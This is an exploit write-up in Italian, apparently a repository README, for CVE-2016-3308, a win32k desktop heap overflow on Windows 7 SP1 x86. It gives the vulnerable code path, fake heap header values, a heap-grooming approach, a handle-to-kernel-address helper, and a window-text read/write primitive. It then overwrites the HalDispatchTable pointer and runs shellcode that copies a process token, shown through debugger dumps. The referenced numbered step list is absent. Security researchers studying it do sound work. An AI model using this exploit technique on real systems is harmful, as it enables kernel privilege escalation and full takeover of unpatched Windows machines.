jackhuyh/cve-2016-3308Utilizza CVE-2016-3308 per corrompere l'heap del desktop win32k
autore : @55-AA, 18 settembre 2016
##Introduzione
L'heap del desktop è un pool del kernel utilizzato da win32k, può essere sfruttato da un'applicazione in modalità utente. Qui descriverò in dettaglio come implementare uno sfruttamento affidabile per leggere/scrivere un indirizzo arbitrario nel kernel. Questo writeup e l'analisi associata sono stati effettuati su un'installazione win7_sp1_x86 (build 17842).
##Vulnerabilità
Il 9 agosto 2016, Microsoft ha rilasciato MS16-098. Il codice della vulnerabilità si trova all'interno della funzione win32k!xxxInsertMenuItem, il prototipo della funzione è:
BOOL xxxInsertMenuItem(
PMENU pMenu,
UINT wIndex,
BOOL fByPosition,
LPMENUITEMINFOW lpmii,
PUNICODE_STRING pstrItem
);
Per prima cosa, diamo un'occhiata al pseudo codice del bug in xxxInsertMenuItem:
if (pMenu->cItems >= pMenu->cAlloced) {
if (pMenu->rgItems) {
pNewItems = (PITEM)DesktopAlloc(
pMenu->head.rpdesk,
(pMenu->cAlloced + CMENUITEMALLOC) * sizeof(ITEM),
DTAG_MENUITEM);
......
pMenu->cAlloced += CMENUITEMALLOC;
pMenu->rgItems = pNewItems;
if (wIndex != MFMWFP_NOITEM)
pItem = MNLookUpItem(pMenu, wIndex, fByPosition, &pMenuItemIsOn);
......
pMenu->cItems++;
if (pItem != NULL) {
RtlMoveMemory(pItem + 1, pItem, (pMenu->cItems - 1) *
sizeof(ITEM) - ((char *)pItem - (char *)pMenu->rgItems));
} else {
Nel codice sopra, quando il nono (dal primo) elemento veniva aggiunto al pMenu, DesktopAlloc() veniva chiamato per riallocare un nuovo pMenu->rgItems. Successivamente veniva chiamato MNLookUpItem() per ottenere la posizione dell'elemento in pMenu->rgItems. Ma il pItem restituito da MNLookUpItem() è un rgItems di un altro pSubMenu, invece del pMenu, quindi quando veniva chiamato RtlMoveMemory(), il pItem del pSubMenu e i byte successivi venivano sovrascritti a causa della dimensione errata dello spostamento.
Quello che segue è il codice disassemblato relativo al bug, che attiverebbe una sovrascrittura dell'heap e può essere sfruttato per costruire un trunk falso:
0: kd> u win32k!xxxInsertMenuItem+0x1f5 l8
win32k!xxxInsertMenuItem+0x1f5:
95d295af 6bc06c imul eax,eax,6Ch
95d295b2 2bc3 sub eax,ebx
95d295b4 034634 add eax,dword ptr [esi+34h]
95d295b7 50 push eax
95d295b8 8d436c lea eax,[ebx+6Ch]
95d295bb 53 push ebx
95d295bc 50 push eax
95d295bd e85ea40100 call win32k!memmove (95d43a20)
Per tracciare il bug, utilizzo questi breakpoint in WinDbg:
ba e1 win32k!xxxInsertMenuItem
ba e1 win32k!xxxInsertMenuItem+0xf3
95d294e3 e843e70200 call win32k!DesktopAlloc (836d7bf5)
ba e1 win32k!xxxInsertMenuItem+0x129
95d294e3 e80de70200 call win32k!DesktopAlloc (836d7bf5)
ba e1 win32k!xxxInsertMenuItem+0x1f5
95d295af 6bc06c imul eax,eax,6Ch
Per attivare il bug, è necessario eseguire le seguenti fasi:
L'heap del desktop è un pool globale utilizzato da tutti i processi GUI. Tutti gli oggetti GUI, come finestre e menu, sono memorizzati nell'heap del desktop e sono gestiti dall'allocatore heap del kernel. L'allocatore heap del kernel utilizza funzioni familiari come RtlAllocateHeap e RtlFreeHeap. A differenza dell'heap in modalità utente, l'heap del desktop non impiega allocatori front-end, quindi niente Low Fragmentation Heap, niente Lookaside list, ecc. Inoltre non esiste Heap Encoding fino a Windows 8 e successivi. La seguente è la struttura del trunk su win7_sp1_x86:
typedef struct _HEAP_ENTRY {
USHORT Size;
UCHAR Flags;
UCHAR SegmentIndex;
USHORT PreviousSize;
UCHAR SegmentOffset;
UCHAR UnusedBytes;
} HEAP_ENTRY, *PHEAP_ENTRY;
I campi Size e PreviousSize rappresentano la dimensione dei chunk spostata a destra di HEAP_GRANULARITY_SHIFT (definito come 3 nei sistemi a 32 bit) bit, il campo Size specifica il chunk corrente, e PreviousSize specifica quello precedente. Il bit più basso di Flags è solitamente impostato a HEAP_ENTRY_BUSY (0x01), indicando che il chunk è in uso, altrimenti è 0x00.
La figura seguente dimostra la relazione tra questi campi e i blocchi di chunk. La seconda parola sottolineata in verde (0x000f) rappresenta che la dimensione del chunk corrente è 0x78 byte, la seconda parola sottolineata in nero (0x0003) rappresenta che la dimensione del chunk precedente è 0x18 byte, e le parole sottolineate in rosso (0x0001) rappresentano che i chunk correnti sono in uso. Qui, la dimensione del chunk include la dimensione dell'intestazione, l'intestazione è definita come struttura HEAP_ENTRY sopra.
Questa è la caratteristica più importante per la corruzione dell'heap, ovvero l'allocatore dell'heap ottiene sempre il chunk rilasciato più di recente. Ciò significa che possiamo effettivamente allocare un chunk di qualsiasi dimensione e in una posizione specifica che desideriamo.
Sfruttando il bug, posso sovrascrivere alcuni byte nell'heap del desktop, ottenendo così un chunk falso che sostituisce un chunk normale. Quindi rilascio il chunk sostituito, in modo che il chunk falso venga spinto in cima alla lista dei chunk liberi. Successivamente il chunk falso viene riutilizzato, e posso scrivere qualsiasi byte al suo interno; la regione scrivibile si sovrappone a diversi chunk normali, ma non può coprire l'intero kernel. Quindi ho bisogno di costruire un'altra primitiva di lettura/scrittura nella regione sovrapposta, sfruttando tagWND.strName per scrivere un indirizzo arbitrario. Il puntatore di strName.Buffer può condurci ovunque, sia nel kernel che nello spazio utente. Ovviamente, il nostro obiettivo è solo nt!HalDispatchTable.
La figura seguente mostra la procedura di modifica dell'heap:
Secondo le dimostrazioni, corrompo l'heap del desktop passo dopo passo e implemento lo sfruttamento attraverso le seguenti fasi:
Il passaggio chiave sopra elencato per costruire l'heap fengshui:
Al passo 7, costruirò un'intestazione heap fittizia nel testo di WND_1; specifica la condizione del futuro chunk. Come mostra la sezione blu nella figura sopra, sovrascriverà la sezione rossa. La distanza da 'Corrupt HDR' a 'red HDR' è 0x6c, che è la dimensione di un ITEM. Questi parametri sono i seguenti:
pHeapEntry->PreviousSize = (0x6c8 + 0x78) >> HEAP_GRANULARITY_SHIFT;
pHeapEntry->Size = 0x8e8 >> HEAP_GRANULARITY_SHIFT;
pHeapEntry->Flags = 1;
pHeapEntry->UnusedBytes = 8;
Al passo 12, costruirò la successiva intestazione heap fittizia nel testo di WND_3; fa credere all'allocatore dell'heap che questi chunk fittizi siano normalmente concatenati.
Al passo 15, il bug viene attivato. A causa dell'aggiunta del nono ITEM, la lista degli ITEM viene riallocata, riutilizzando il chunk rilasciato del testo di WND_0. Quindi, la distanza da 'SubMenuITEMs HDR' a 'MenuITEMs HDR' è (0x6c8+0x78+0x78) byte; i dati all'interno di questa regione vengono sovrascritti da loro stessi. In questo passo, le intestazioni dei chunk di WND_1, WND_2 e MenuITEMs vengono danneggiate. Per uscire normalmente dal processo, salvo alcuni dati, in modo da poterli ripristinare al passo 20.
Al passo 13, salvo alcuni dati prima che vengano danneggiati. Tuttavia, sono in spazio utente, quindi non posso leggere quei dati nel kernel. Fortunatamente, c'è una sezione mappata nello spazio utente, è l'immagine dell'heap del desktop. Anche se è di sola lettura, è sufficiente per i miei scopi. Per ottenere l'indirizzo della sezione immagine nello spazio utente, si può usare Win32ClientInfo, una struttura non documentata in TEB, diamo un'occhiata:
typedef struct _CLIENTINFO {
ULONG_PTR CI_flags;
ULONG_PTR cSpins;
DWORD dwExpWinVer;
DWORD dwCompatFlags;
DWORD dwCompatFlags2;
DWORD dwTIFlags;
PDESKTOPINFO pDeskInfo;
ULONG_PTR ulClientDelta;
} CLIENTINFO, *PCLIENTINFO;
typedef struct _DESKTOPINFO {
PVOID pvDesktopBase;
PVOID pvDesktopLimit;
} DESKTOPINFO, *PDESKTOPINFO;
I campi che ci interessano sono pvDesktopBase e ulClientDelta. pvDesktopBase punta all'indirizzo kernel dell'heap del desktop, ulClientDelta è un valore delta che specifica l'offset tra l'immagine in spazio utente e l'indirizzo kernel.
Inoltre, ho bisogno di una relazione mappata da HANDLE a indirizzo kernel. Esiste una variabile globale chiamata gSharedInfo, esportata da user32.dll su win7 e successivi. È definita come segue:
typedef struct _SHAREDINFO{
PSERVERINFO psi;
PHANDLEENTRY aheList;
ULONG HeEntrySize;
ULONG_PTR pDispInfo;
ULONG_PTR ulSharedDelta;
ULONG_PTR awmControl[31];
ULONG_PTR DefWindowMsgs;
ULONG_PTR DefWindowSpecMsgs;
}SHAREDINFO,*PSHAREDINFO;
Quindi, posso ottenere l'indirizzo kernel da un handle tramite la funzione:
PVOID GetMappedHandlePtr(HANDLE MyHandle, PVOID * UserlandPtr)
{
HANDLEENTRY * UserHandleTable = g_pSharedInfo->aheList;
ULONG cEntries = g_pSharedInfo->psi->cHandleEntries;
ULONG dwIndex = (ULONG)MyHandle & 0xFFFF;
ULONG dwUniq = (ULONG)MyHandle >> 16;
if(dwIndex <= cEntries) {
if (dwUniq == UserHandleTable[dwIndex].wUniq) {
*UserlandPtr = (PVOID)(
(ULONG_PTR)UserHandleTable[dwIndex].phead - g_DeltaDesktopHeap);
return (PVOID)UserHandleTable[dwIndex].phead;
}
}
return NULL;
}
Nei passi 17, 18 e 20, voglio scrivere alcuni byte nel kernel, quindi sfrutto il testo della finestra. È un LARGE_UNICODE_STRING allocato sull'heap del desktop e associato a un oggetto finestra. Possiamo trovarlo nella struttura tagWND, su win7_sp1_x86, il suo offset è 0x84, e l'offset 0x8c è il puntatore che possiamo controllare per leggere/scrivere. In spazio utente, posso chiamare NtUserDefSetText() per impostare il testo della finestra; il contenuto del testo verrà scritto all'indirizzo kernel desiderato.
Al passo 19, attivo l'ultimo obiettivo, lo shellcode. Chiamando NtQueryIntervalProfile() in spazio utente, verrebbe originariamente chiamato hal!HaliQuerySystemInformation, ma il suo puntatore a funzione in nt!HalDispatchTable è stato sostituito con la mia funzione al passo 18. A proposito, quando il primo parametro di NtQueryIntervalProfile viene impostato a 1, si verifica un cortocircuito, a causa del seguente codice all'offset 84115505:
nt!KeQueryIntervalProfile:
841154fd 8bff mov edi,edi
841154ff 55 push ebp
84115500 8bec mov ebp,esp
84115502 83ec10 sub esp,10h
84115505 83f801 cmp eax,1
84115508 7507 jne nt!KeQueryIntervalProfile+0x14 (84115511)
8411550a a108f7fa83 mov eax,dword ptr [nt!KiProfileAlignmentFixupInterval (83faf708)]
8411550f c9 leave
84115510 c3 ret
Oltre a ciò, qualsiasi altro valore verrebbe eseguito.
Per tracciare comodamente l'intera procedura di corruzione, stampo alcuni valori centrali nella console.
Secondo l'output, possiamo dare un'occhiata al layout dell'heap del desktop corrotto con WinDbg.
Questo è WND_1_Text e WND_2_Text ai passi 7 e 8:
1: kd> db fea2d7a8-8 l78*2
fea2d7a0 0f 00 01 00 d9 00 00 08-00 00 00 00 1d 01 01 00 ................
fea2d7b0 e8 00 00 08 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7c0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7d0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7e0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d800 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d810 00 00 00 00 00 00 00 00-0f 00 01 00 0f 00 00 08 ................
fea2d820 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d830 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d840 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d850 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d860 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d870 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d880 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
Questa è la condizione dopo essere stato sfruttato al passo 15:
0: kd> db fea2d7a8-8 l78*2
fea2d7a0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7b0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7c0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7d0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7e0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d7f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d800 00 00 00 00 00 00 00 00-00 00 00 00 0f 00 01 00 ................
fea2d810 d9 00 00 08 00 00 00 00-1d 01 01 00 e8 00 00 08 ................
fea2d820 f0 36 a3 fe 10 ca a2 fe-00 00 00 00 00 00 00 00 .6..............
fea2d830 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d840 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d850 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d860 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d870 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d880 00 00 00 00 0f 00 01 00-0f 00 00 08 00 00 00 00 ................
Questo è il chunk falso completato:
0: kd> db fea2d820-8
fea2d818 1d 01 01 00 e8 00 00 08-f0 36 a3 fe 10 ca a2 fe .........6......
fea2d828 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d838 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d848 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d858 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d868 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fea2d878 00 00 00 00 00 00 00 00-00 00 00 00 0f 00 01 00 ................
fea2d888 0f 00 00 08 00 00 00 00-00 00 00 00 00 00 00 00 ................
Questo è il secondo chunk falso completato:
0: kd> db fea2d820-8 + 11d*8
fea2e100 02 00 01 00 1d 01 00 08-00 00 00 00 00 00 00 00 ................
fea2e110 0d 00 01 00 03 00 00 0c-38 26 a1 fe 80 c1 80 c1 ........8&......
fea2e120 00 00 00 00 40 8c 47 88-00 00 00 00 00 00 c1 00 [email protected].........
fea2e130 00 00 00 00 00 00 00 00-00 00 00 00 18 e1 a2 fe ................
fea2e140 00 00 00 00 00 00 00 00-00 40 00 00 9c 88 d0 95 .........@......
fea2e150 00 00 00 00 00 00 00 00-00 00 88 00 00 00 00 00 ................
fea2e160 e8 3e b5 ff 06 00 00 00-00 00 00 00 80 e1 a2 fe .>..............
fea2e170 00 00 00 00 00 00 00 00-05 00 01 00 0d 00 00 09 ................
PrimitiveWnd tagWND.strName
0: kd> db fea2d820 + 78 + 6c8 + 84
fea2dfe4 02 00 00 00 04 00 00 00-fc 53 f7 83 00 00 00 00 .........S......
fea2dff4 60 df a2 fe 17 03 10 00-00 00 00 00 00 00 00 00 `...............
fea2e004 00 00 00 00 00 00 00 00-08 00 00 00 03 00 01 00 ................
fea2e014 17 00 00 08 01 00 00 00-01 00 00 00 88 19 7e 01 ..............~.
fea2e024 18 a9 00 00 17 00 01 00-03 00 00 08 fc 03 03 00 ................
fea2e034 03 00 00 00 38 48 96 fe-40 8c 47 88 30 e0 a2 fe [email protected]...
fea2e044 18 00 08 60 00 07 00 80-00 01 00 00 00 00 cf 04 ...`............
fea2e054 00 00 00 00 00 00 00 00-60 df a2 fe 28 81 a1 fe `...(...
CorruptWnd tagWND.strName
0: kd> db fea2d820 + 78 + 6c8 + d0 + 84
fea2e0b4 de 08 00 00 e0 08 00 00-20 d8 a2 fe 00 00 00 00 ........ .......
fea2e0c4 30 e0 a2 fe 17 03 10 00-00 00 00 00 00 00 00 00 0...............
fea2e0d4 00 00 00 00 00 00 00 00-08 00 00 00 03 00 01 00 ................
fea2e0e4 17 00 00 08 01 00 00 00-01 00 00 00 90 1e 7e 01 ..............~.
fea2e0f4 18 a9 00 00 03 00 01 00-03 00 00 08 02 00 01 00 ................
fea2e104 1d 01 00 08 00 00 00 00-00 00 00 00 0d 00 01 00 ................
fea2e114 03 00 00 0c 38 26 a1 fe-80 c1 80 c1 00 00 00 00 ....8&..........
fea2e124 40 8c 47 88 00 00 00 00-00 00 c1 00 00 00 00 00 @.G.............
Il puntatore dello shellcode sostituito:
0: kd> dds nt!HalDispatchTable
83f753f8 00000004
83f753fc 013711c0
83f75400 83e3c1b4 hal!HalpSetSystemInformation
83f75404 840fe71f nt!xHalQueryBusSlots
83f75408 00000000
0: kd> u 013711c0
013711c0 a188fa3701 mov eax,dword ptr ds:[0137FA88h]
013711c5 8b0d80fa3701 mov ecx,dword ptr ds:[137FA80h]
013711cb 894804 mov dword ptr [eax+4],ecx
013711ce 33c0 xor eax,eax
013711d0 c21000 ret 10h
##Riferimenti